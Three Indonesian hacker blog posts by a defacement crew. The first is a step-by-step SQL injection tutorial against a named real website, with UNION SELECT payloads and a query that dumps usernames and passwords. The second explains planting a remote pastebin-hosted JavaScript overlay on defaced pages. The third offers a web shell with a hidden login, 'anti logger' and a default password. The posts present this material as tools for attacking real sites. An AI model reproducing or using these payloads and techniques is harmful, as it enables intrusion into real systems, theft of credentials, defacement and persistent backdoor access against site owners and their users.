SQL INJECTION MANUAL VIA ANDROID

Assalamualaikum warahmatullahi wabarakatuh :)

Ketemu lagi sama babang gans :* .. Kali ini gue mau share tutorial sql injection via andro, yuu simak di bawah :'

Hhm, Apa sih SQL Injection itu? sebuah teknik yang menyalahgunakan sebuah celah keamanan yang terjadi dalam lapisan basis data sebuah aplikasi. Celah ini terjadi ketika masukan pengguna tidak disaring secara benar dari karakter-karakter pelolos bentukan string yang diimbuhkan dalam pernyataan SQL atau masukan pengguna tidak bertipe kuat dan karenanya dijalankan tidak sesuai harapan .. (kurang lebih seperti itu, heehe)

Oke, sekarang kita coba meginjeksi ke website target :)

http://www.pdpersi.co.id/content/pd_events.php?catid=13

Nah, untuk mengetahui web itu vuln atau tidak terhadap sql, kita coba kasih tanda ( ' ) setelah angka, seperti ini :

http://www.pdpersi.co.id/content/pd_events.php?catid=13'

Jika vuln akan menampilkan pesan kurang lebih seperti ini :

" You have an error in your SQL syntax; check the mnual that corresponds to your MySQL. server version for the right syntax to use near " order by id desc' at line 1 "

Oke, jika seperti itu kita lanjut menginjeksi dengan perintah order by sampai ketemu error yaa .. cek bawah :

http://www.pdpersi.co.id/content/pd_events.php?catid=13+order+by+1--+- (no error)

http://www.pdpersi.co.id/content/pd_events.php?catid=13+order+by+2--+- (no error)

http://www.pdpersi.co.id/content/pd_events.php?catid=13+order+by+3--+- (no error)

http://www.pdpersi.co.id/content/pd_events.php?catid=13+order+by+4--+- (no error)

http://www.pdpersi.co.id/content/pd_events.php?catid=13+order+by+5--+- (no error)

http://www.pdpersi.co.id/content/pd_events.php?catid=13+order+by+6--+- (error)

lebih jelasnya cek gambar dibawah :*

Nah errornya ketemu ka, sekarang ganti perintah +order+by dengan perintah +onion+select, jangan lupa kasih tanda ( - ) di depan angka ..

Kurang lebih seperti ini ka ;)

http://www.pdpersi.co.id/content/pd_events.php?catid=-13+union+select+1,2,3,4,5 .. dan terlihatkan Nomor Ajaibnya (bukan nomor togel ya :'v wkwk) lebih jelas cek gambar :*

Tuh kan :*

Oke kita oteweee ke tahap selanjutnya :*

Sekarang kita masukan exploit injectnya, kurang lebih seperti ini :

(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=concat+(@x,0x3c62723e,table_name,0x203a3a20,column_name))))x)

Aku pilih nomor 2, jadinya seperti ini :

http://www.pdpersi.co.id/content/pd_events.php?catid=-13+union+select+1,(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=concat+(@x,0x3c62723e,table_name,0x203a3a20,column_name))))x),3,4,5

Cek gambar di bawah, tuh kan muncul table nya :*

Tinggal cari table yang ada username dan passwordnya :'v

Hmmmmmmnnnn :'3

Nah Jika Sudah Lihat,  Kalian Tinggal Dump istilahnya, Atau Buka Table Caranya Dengan Masukan Inject : /*!50000(SELECT+GROUP_CONCAT(username,0x3a,password+SEPARATOR+0x3c62723e)+FROM+utenti)*/ ,

JANGAN LUPA BACKUP SEBELUM NGINDEX :)

Happy INJECT :*

Nitiv nick gue dan team yaa, TN72 dan GARUDA TERSAKTI 72

oke makasih, sampai jumpa di lain hari :'v

Greets :

Indonesian Hackers Rulez

Related Posts:

---

SCRIPT JSO (JAVA SCRIPT OVERLAY)

Assalamualaikum warahmatullahi wabarakatuh, ketemu lagi sama gue, kali ini gue akan share script jso ..

oke, simak di sini :)

Btw, JSO di gunakan kalo gak bisa up shel yaa ;)

kalo udah, sekarang kita tinggal taro scriptnya bisa ke pastebin atau ghostbin yaa :)
Dan pilih java script, lalu oke dan masukin kodenya dan tinggal pencet raw trus copy deh ;)

Oke, sekarang tinggal ganti link sc jso nya yang sudah kalian buat yaa :)

Hacked By TN72
<script type="text/javascript" src="https://pastebin.com/raw/LhGPAkkZ"></script>
(catatan : https://pastebin.com/raw/LhGPAkkZ adalah link sc jso gue .. )

Oke beres, tinggal tempel deh dibagian news atau lainnya ;)

Boleh kali nitiv nick gue dan team :)
TN72 dan GARUDA TERSAKTI 72 .

Greet :

INDONESIAN DEFACER'S

Related Posts:

---

GARUDA TERSAKTI 72 SHELL

Assalamualaikum warahmatullahi wabarakatuh,

ketemu lagi sama gue, kali ini gue mau share shell Garuda Tersakti 72 ini gak murni hasil codingan gue ..

Shell ini di ambil dari IndoXploit versi jadul dan sudah dirapihkan sedemikian rupa :v

Untuk fitur? bisa di lihat gambar di bawah beb :)

Dan ini menggunakan fitur hide login, biar sedikit ada manis manisnya gitu :v
Dan ANTI LOGGER ya :)

yuu, langsung sedot dibawah yaa :'v

Disini Beb :'v

pw default : garudatersakti72

penampakan luarnya nih :v

Setelah di tambahkan ?gt72=login setelah site ..

ex : http://garudatersakti72.id/tn.php?gt72=login

 Dan ini penampakan dalam nya :)

Oke itu saja post kali ini dari gue, Jan lupa BACKUP INDEX sebelum nebas ;)

Boleh kali nitiv nick TN72 dan GARUDA TERSAKTI 72 :)

Greets : IndoXploit

Related Posts:

---